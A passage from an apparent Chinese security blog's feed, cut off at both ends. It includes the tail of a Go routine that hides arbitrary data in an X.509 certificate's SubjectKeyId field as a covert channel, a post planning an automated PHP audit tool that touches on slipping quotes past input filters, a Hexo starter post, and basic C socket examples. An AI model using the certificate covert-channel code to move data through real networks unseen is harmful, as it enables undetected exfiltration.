class="literal">true</span>,</span><br><span class="line">ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},</span><br><span class="line">KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,</span><br><span class="line"><span class="comment">//ExtraExtensions: []pkix.Extension{extSubKeyId},</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(data) > <span class="number">0</span> {</span><br><span class="line"><span class="comment">//encData := encryptData(data)</span></span><br><span class="line"><span class="comment">//ca.SubjectKeyId = encData</span></span><br><span class="line">ca.SubjectKeyId = data</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(crl) > <span class="number">0</span> {</span><br><span class="line">ca.CRLDistributionPoints = crl</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//priv, _ := rsa.GenerateKey(rand.Reader, 4096)</span></span><br><span class="line">privPem := pem.EncodeToMemory(&pem.Block{</span><br><span class="line">Type: <span class="string">"RSA PRIVATE KEY"</span>,</span><br><span class="line">Bytes: x509.MarshalPKCS1PrivateKey(priv),</span><br><span class="line">})</span><br><span class="line">pub := &priv.PublicKey</span><br><span class="line">ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Fatalf(<span class="string">"create cert failed %#v"</span>, err)</span><br><span class="line"><span class="built_in">panic</span>(<span class="string">"Cert Creation Error"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">certPem := pem.EncodeToMemory(&pem.Block{</span><br><span class="line">Type: <span class="string">"CERTIFICATE"</span>,</span><br><span class="line">Bytes: ca_b,</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> certPem, privPem</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里主要做个笔记记录一下,<a href="https://www.fidelissecurity.com/threatgeek/2018/02/exposing-x509-vulnerabilities" target="_blank" rel="noopener">原文在这里</a> </p>]]></content>
<summary type="html">
<h3 id="使用X-509公钥证书传递进行隐匿传输数据"><a href="#使用X-509公钥证书传递进行隐匿传输数据" class="headerlink" title="使用X.509公钥证书传递进行隐匿传输数据"></a>使用X.509公钥证书传递进行隐匿传输数据</
</summary>
</entry>
<entry>
<title>关于自动化审计工具的一些设想</title>
<link href="http://blog.leej.me/2018/02/07/%E5%85%B3%E4%BA%8E%E8%87%AA%E5%8A%A8%E5%8C%96%E5%AE%A1%E8%AE%A1%E5%B7%A5%E5%85%B7%E7%9A%84%E4%B8%80%E4%BA%9B%E8%AE%BE%E6%83%B3/"/>
<id>http://blog.leej.me/2018/02/07/关于自动化审计工具的一些设想/</id>
<published>2018-02-07T07:54:28.000Z</published>
<updated>2017-02-07T08:37:12.520Z</updated>
<content type="html"><![CDATA[<h3 id="关于自动化审计工具的一些设想"><a href="#关于自动化审计工具的一些设想" class="headerlink" title="关于自动化审计工具的一些设想"></a>关于自动化审计工具的一些设想</h3><p>源代码安全审计是在整个软件生命周期中提高系统安全性的最有效手段之一,那么该如何做,长期人工审计的方式,自然是不太合理。白盒审计往往可以达到一些黑盒测试永远触及不到的一些逻辑层面,但是成本开销比黑盒往往大的多,总是需要人工去挖掘。</p><p>这里就设想是否可以去设计一款自动化审计的工具,这里以php层面的审计为一个点。</p><p>这里给自己挖个坑,找一件长期主线的做的事</p><h4 id="总体设想"><a href="#总体设想" class="headerlink" title="总体设想"></a>总体设想</h4><p>首先,网上有很多代码审计的工具,但是总是不符合国情,只能是作为审计的一个辅助工具,由于php的灵活性导致其框架和方法设计五花八门,路由的设计更是百家齐放。这里使用机器来完成这些有时候人工看都费劲的过程,似乎比较困难,但其实换一个角度,站在编译器的角度是不是就比较简单,这是一个发散性的问题,不做扩展。</p><p>下面说一下几种方法的进阶:</p><h5 id="方法一:"><a href="#方法一:" class="headerlink" title="方法一:"></a>方法一:</h5><p>工具做简单的字符串搜索,必要时加正则匹配,函数参数是否变量</p><p>这种方法的优点是简单粗暴,其实人工审计在头脑中做逻辑处理,其机械的判断,函数定位大部分依赖的就是关键字搜索,但是这些只能做以辅助,大部分还是依赖人工去检测,最重要的就是无法处理逻辑层面</p><h5 id="方法二:"><a href="#方法二:" class="headerlink" title="方法二:"></a>方法二:</h5><p>全文扫描,静态追踪调用,可以简单对代码做一个语义的分析,对危险函数参数来源等做一个追踪,这一部分由于比较麻烦的就是在函数的调用参数的传递这一方面不容易做,还有参数的作用域,如何判定,都是比较不容易处理的,需要对一个框架尤其是各个模块之间调用方法方式要有一个很全面的分析。这种做到后面其实就是从编译器的角度去看代码,这种方式相对也是比较好的,但是缺点就是实现起来比较困难,尤其是一些框架,代码的入口调用这些方面</p><h5 id="方法三:"><a href="#方法三:" class="headerlink" title="方法三:"></a>方法三:</h5><p>Hook PHP的一些关键函数,当代码执行一些关键函数,跟踪执行流,找寻危险函数的参数来源,判断参数来源是否可控,这种方法思想上其实也是不错的,但是还是需要人工干预,框架的分析这部分还是不是很好做,思路还是很好</p><h5 id="方法四:"><a href="#方法四:" class="headerlink" title="方法四:"></a>方法四:</h5><p>黑盒测试,模拟人工进行黑盒测试,在对关键日志做一个简单分析,比如sql语句的执行操作,如果从这个角度做,模拟人工的一些黑盒测试,站在程序的角度,所能理解的就是一些日志文件,还有就是请求的返回状态,返回内容。通过这些,在结合代码,或许会要好一些,但是最困难的就是如何把这部分黑盒测试对应到其代码,不仅要对框架的理解要很深入,还要能让代码去理解这部分框架,php框架也是五花八门,这部分具体操作起来,即使做出来,普适性也会比较低。</p><h5 id="方法五:"><a href="#方法五:" class="headerlink" title="方法五:"></a>方法五:</h5><p>程序模拟人工实现动态调试,可以自己程序来实现dbgp协议的一些解释,模拟ide来动态调试代码,这一部分比较有意思,因为实现起来比去hook要简单一些,并且对程序的逻辑判断,流程控制要简单的多,这一部分处理逻辑流程相对来说也是比较好的</p><h3 id="设计设想"><a href="#设计设想" class="headerlink" title="设计设想"></a>设计设想</h3><p>有了上面几种方案后,做一个构思</p><h5 id="第一步:预处理"><a href="#第一步:预处理" class="headerlink" title="第一步:预处理"></a>第一步:预处理</h5><p>首先第一步我认为是需要做一个全局的搜索,这部分是简单的扫描和处理阶段,这部分首先要对目录结构,函数定义,控制器的位置,这一部分做一个检索,这一部分结束后,程序可以返回一个方法表,方法表的成员有文件路径,所在类,方法名,方法属性,还有方法下的变量,这些值得获取应该使用字符串搜索加正则可以做到,毕竟大括号也是成对出现的,变量都有$符号</p><h5 id="第二步:危险检索"><a href="#第二步:危险检索" class="headerlink" title="第二步:危险检索"></a>第二步:危险检索</h5><p>对全文进行一些危险匹配,比如一些函数还有sql特征的语句,这一部分正则还有字符匹配也是可以做到的,可以做一个危险操作池,这里每一处危险操作需要有一个定位,这里需要文件地址,所在类名,是否继承了哪个类,方法名,方法中的关联的变量,这一步检索出来的危险操作肯定是有很多的无法利用点,下一步就是该如何去筛选去除</p><h5 id="第三步:模糊测试"><a href="#第三步:模糊测试" class="headerlink" title="第三步:模糊测试"></a>第三步:模糊测试</h5><p>模糊测试,对一个公共的过滤做一个测试,比如找一个有sql操作的接口,通过发有特征的包然后检索sql操作日志找到点后尝试一些关键字符,做一个过滤匹配,这一步应该还是比较不好做的</p><h5 id="第四步:危险定位"><a href="#第四步:危险定位" class="headerlink" title="第四步:危险定位"></a>第四步:危险定位</h5><p>定位各危险函数,如何自动触发函数这也是个难点,这一步可以人工干预,在结合之前的的方法表,对函数调用和参数传递做一个简单追踪,之后通过xdebug等调试来进行下一步的操作</p><h5 id="第五步"><a href="#第五步" class="headerlink" title="第五步"></a>第五步</h5><p>就是将上一步筛选的危险操作输出,下一步还是人工干预处理</p><h4 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h4><p> 其实在这一方面,左思右想如何能让机器去替代人工去思考代码,这里只是最简单的不带有思考方式,未来的发展是否可以使用机器学习的方式来进行也是一个可利用的点。</p><p>说到底代码审计最重要的就是输入这一块,对所有的用户来源的点做一个追踪,比如get,post还有http头,从上往下做跟踪,或许也是可行的,但是这种广撒网的方式针对性较低效率不是很高,我们这里是从危险操作向上溯源,有针对性,但是操作起来较为复杂,反正各有优劣吧。</p><p> 代码审计,要对代码的安全有一个感性的认知,我们在去利用攻击的时候,总要有一个点,这个点可以是get提交的一段数据,可以是来自cookie的一段数据,也可以是通过使某些服务端发出请求获取到的一段内容,如果是我和服务器之间的接触这一部分主要是get还有post等这些,服务端在对这些数据进行一些处理,从程序员的角度来看,一般有什么是需要提交过来的呢?一般可能就是一些未知的,或者是某些行为界定的层面,比如就是如何知道用户需要查看某篇文章,如果框架在入口对数据的进入层面做了一个封装过滤,如果是想找寻注入,如果字段是一个字符串,我们其实就是想找一个单引号,这一点如果是直接从输入层面就过滤了单引号,那么我们在从输入的角度去尝试单引号都是无济于事的,我们的思路就不能老卡在这里。</p><p> 假设程序是一座城池,他在一个入口做了严格的把控,那是否还有其余的入口?这个时候就可以考虑是不是有可以伪装进去比如这么一个操作,比如base64,或者urldecode,或者是程序在更新的时候,向某个远程服务器发起获取版本的请求,之后会拿远程响应的数据带入数据库?这部分我们能不能去劫持或者直接控制请求地址?总之我们的目的就是传递进去或者创造一个单引号,但不可能凭空进来。扯远了。</p><p> 我想说的是我们在审计编写工具的时候,是否可以考虑到这些,如何更智能,这一部分如何可以将思维转化成代码,还没有想出一个可行的方法。</p>]]></content>
<summary type="html">
<h3 id="关于自动化审计工具的一些设想"><a href="#关于自动化审计工具的一些设想" class="headerlink" title="关于自动化审计工具的一些设想"></a>关于自动化审计工具的一些设想</h3><p>源代码安全审计是在整个软件生命周期中提高系统
</summary>
</entry>
<entry>
<title>Hello World</title>
<link href="http://blog.leej.me/2018/02/07/hello-world/"/>
<id>http://blog.leej.me/2018/02/07/hello-world/</id>
<published>2018-02-07T03:41:57.496Z</published>
<updated>2018-02-07T03:41:57.496Z</updated>
<content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="noopener">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/" target="_blank" rel="noopener">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html" target="_blank" rel="noopener">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues" target="_blank" rel="noopener">GitHub</a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">"My New Post"</span></span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="noopener">Writing</a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="noopener">Server</a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="noopener">Generating</a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/deployment.html" target="_blank" rel="noopener">Deployment</a></p>]]></content>
<summary type="html">
<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="noopener">Hexo</a>! This is your very first post. Check <a href="https://hexo.
</summary>
</entry>
<entry>
<title>linux网络编程</title>
<link href="http://blog.leej.me/2017/12/16/linux%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/"/>
<id>http://blog.leej.me/2017/12/16/linux网络编程/</id>
<published>2017-12-15T16:00:00.000Z</published>
<updated>2018-03-13T06:16:21.188Z</updated>
<content type="html"><![CDATA[<h3 id="linux网络编程"><a href="#linux网络编程" class="headerlink" title="linux网络编程"></a>linux网络编程</h3><h4 id="ABOUT"><a href="#ABOUT" class="headerlink" title="ABOUT"></a>ABOUT</h4><p>其实就是一些socket编程还有就是服务端如何做到并发</p><p>所了解到的就是多进程实现并发服务器、多线程实现并发服务器、还有就是使用io复用的方式实现并发</p><p>首先简单讲述一下socket的一些东西,主要是粘代码,没什么可讲的,自己实现一遍基本就ok了</p><h4 id="网络编程"><a href="#网络编程" class="headerlink" title="网络编程"></a>网络编程</h4><p>比较简单,就是创建一个监听套接字,如果接收到客户端请求,就将监听套接字转换为连接套接字</p><p>服务段代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*server.c*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><arpa/inet.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PORT 1234</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BACKLOG 1</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> listenfd, connectfd;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">server</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">client</span>;</span></span><br><span class="line"> <span class="keyword">int</span> sin_size;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>((listenfd=socket(AF_INET, SOCK_STREAM, <span class="number">0</span>))==<span class="number">-1</span>)</span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"Create socket failed"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">int</span> opt =<span class="number">1</span>;</span><br><span class="line"> setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, <span class="keyword">sizeof</span>(opt));</span><br><span class="line"> bzero(&server, <span class="keyword">sizeof</span>(server));</span><br><span class="line"> server.sin_family = AF_INET;</span><br><span class="line"> server.sin_port = htons(PORT);</span><br><span class="line"> server.sin_addr.s_addr = htonl(INADDR_ANY);</span><br><span class="line"> <span class="keyword">if</span> (bind(listenfd, (struct sockaddr *)&server, <span class="keyword">sizeof</span>(struct sockaddr))==<span class="number">-1</span>)</span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"Bind error"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (listen(listenfd, BACKLOG) == <span class="number">-1</span>) </span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"listen error"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> sin_size = <span class="keyword">sizeof</span>(struct sockaddr_in);</span><br><span class="line"> <span class="keyword">while</span>(<span class="number">1</span>) </span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> ((connectfd = accept(listenfd, (struct sockaddr *)&client, &sin_size)) == <span class="number">-1</span>) </span><br><span class="line">{</span><br><span class="line"> perror(<span class="string">"accept error"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"you get a connection from %s\n"</span>, inet_ntoa(client.sin_addr));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"you get a connection from %d\n"</span>, ntohs(client.sin_port));</span><br><span class="line"> send(connectfd,<span class="string">"welcome to my server\n"</span>,<span class="number">22</span>, <span class="number">0</span>);</span><br><span class="line"> close(connectfd);</span><br><span class="line"> } <span class="comment">/* while */</span></span><br><span class="line"> close(listenfd);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>客户端</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*client.c*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netdb.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PORT 1234</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAXDATASIZE 100</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> fd, numbytes;</span><br><span class="line"> <span class="keyword">char</span> buf[MAXDATASIZE];</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">hostent</span> * <span class="title">he</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">server</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (argc != <span class="number">2</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Usage: %s <IP address>\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ((he = gethostbyname(argv[<span class="number">1</span>])) == <span class="literal">NULL</span>) </span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"gethostbyname error."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> ((fd = socket(AF_INET, SOCK_STREAM, <span class="number">0</span>)) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"Create socket failed."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> bzero(&server, <span class="keyword">sizeof</span>(server));</span><br><span class="line"> server.sin_family = AF_INET;</span><br><span class="line"> server.sin_port = htons(PORT);</span><br><span class="line"> server.sin_addr = *((struct in_addr *) he->h_addr);</span><br><span class="line"> <span class="keyword">if</span> (connect(fd, (struct sockaddr *)&server, <span class="keyword">sizeof</span>(struct sockaddr)) == <span class="number">-1</span>)</span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"connect failed."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>( ((numbytes = recv(fd, buf, MAXDATASIZE, <span class="number">0</span>)) == <span class="number">-1</span>)) </span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"recv error."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> buf[numbytes] =<span class="string">'\0'</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Server Message: %s\n"</span>,buf);</span><br><span class="line"> close(fd);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h4 id="多进程实现并发服务器"><a href="#多进程实现并发服务器" class="headerlink" title="多进程实现并发服务器"></a>多进程实现并发服务器</h4><p>其实这里就是fork一个子进程,子进程拷贝一份父进程,然后通过fork的返回值不同判断子进程胡扯父进程</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*server.c*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><arpa/inet.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PORT1234</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BACKLOG10</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAXDATASIZE1000</span></span><br><span class="line"><span class="function"><span class="keyword">char</span> *<span class="title">revstr</span><span class="params">(<span class="keyword">char</span> *str, <span class="keyword">size_t</span> len)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">process_cli</span><span class="params">(<span class="keyword">int</span> connectfd, struct sockaddr_in client)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> listenfd, connectfd;</span><br><span class="line"> <span class="keyword">pid_t</span>pid;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span><span class="title">server</span>, <span class="title">client</span>;</span></span><br><span class="line"><span class="keyword">int</span> sin_size;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Create TCP Socket */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>((listenfd=socket(AF_INET, SOCK_STREAM, <span class="number">0</span>))==<span class="number">-1</span>)</span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"Create socket failed"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"><span class="keyword">int</span> opt = SO_REUSEADDR;</span><br><span class="line">setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, <span class="keyword">sizeof</span>(opt));</span><br><span class="line"></span><br><span class="line">bzero(&server, <span class="keyword">sizeof</span>(server));</span><br><span class="line">server.sin_family = AF_INET;</span><br><span class="line">server.sin_port = htons(PORT);</span><br><span class="line">server.sin_addr.s_addr = htonl(INADDR_ANY);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (bind(listenfd, (struct sockaddr *)&server, <span class="keyword">sizeof</span>(struct sockaddr))==<span class="number">-1</span>)</span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"Bind error"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (listen(listenfd, BACKLOG) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"listen error"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> sin_size = <span class="keyword">sizeof</span>(struct sockaddr_in);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">while</span>(<span class="number">1</span>) {</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span>((connectfd = accept(listenfd, (struct sockaddr *)&client, &sin_size)) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"accept error"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ((pid=fork())><span class="number">0</span>) {</span><br><span class="line"> <span class="comment">/* parent process */</span></span><br><span class="line"> close(connectfd);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span 